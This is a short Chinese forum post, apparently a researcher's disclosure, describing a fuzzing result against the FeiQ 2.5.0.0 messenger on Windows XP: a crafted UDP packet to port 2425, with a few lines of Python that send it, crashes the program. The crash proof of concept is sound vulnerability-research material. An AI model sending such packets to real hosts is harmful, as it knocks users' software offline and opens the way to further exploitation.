上次发了那个0day以后就休息了一段时间,但是最近感觉到自己对UDP2425的recvfrom的挖掘工作还没有弄完,因为在sub_49C940函数中有污染数据外流,而外流是通过第二个参数:
但是通过分析发现外流的数据比较分散,进行静态反汇编挖掘可能比较麻烦。
而且自己的fuzz一直都是存在于理论阶段,所以使用fuzz对其进行分析,最后发现发送下面的POC时程序崩溃掉了:
1_lbt4_35#128#6CF04987CC1A#1528#22603#0#2.5a:1323191146:admin:XXCCLI-A10D5C26:0198
Python程序代码:
代码:
import socket server = "127.0.0.1" port = 2425 sendStr = "1_lbt4_35#128#6CF04987CC1A#1528#22603#0#2.5a:1323191146:admin:XXCCLI-A10D5C26:0198" s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.sendto(sendStr,(server,port)) s.close()
是否可以利用我没有去分析,这个就给大家研究吧!
附上崩溃是的图:
测试环境:XP SP3,飞秋版本2.5.0.0
附上飞秋程序: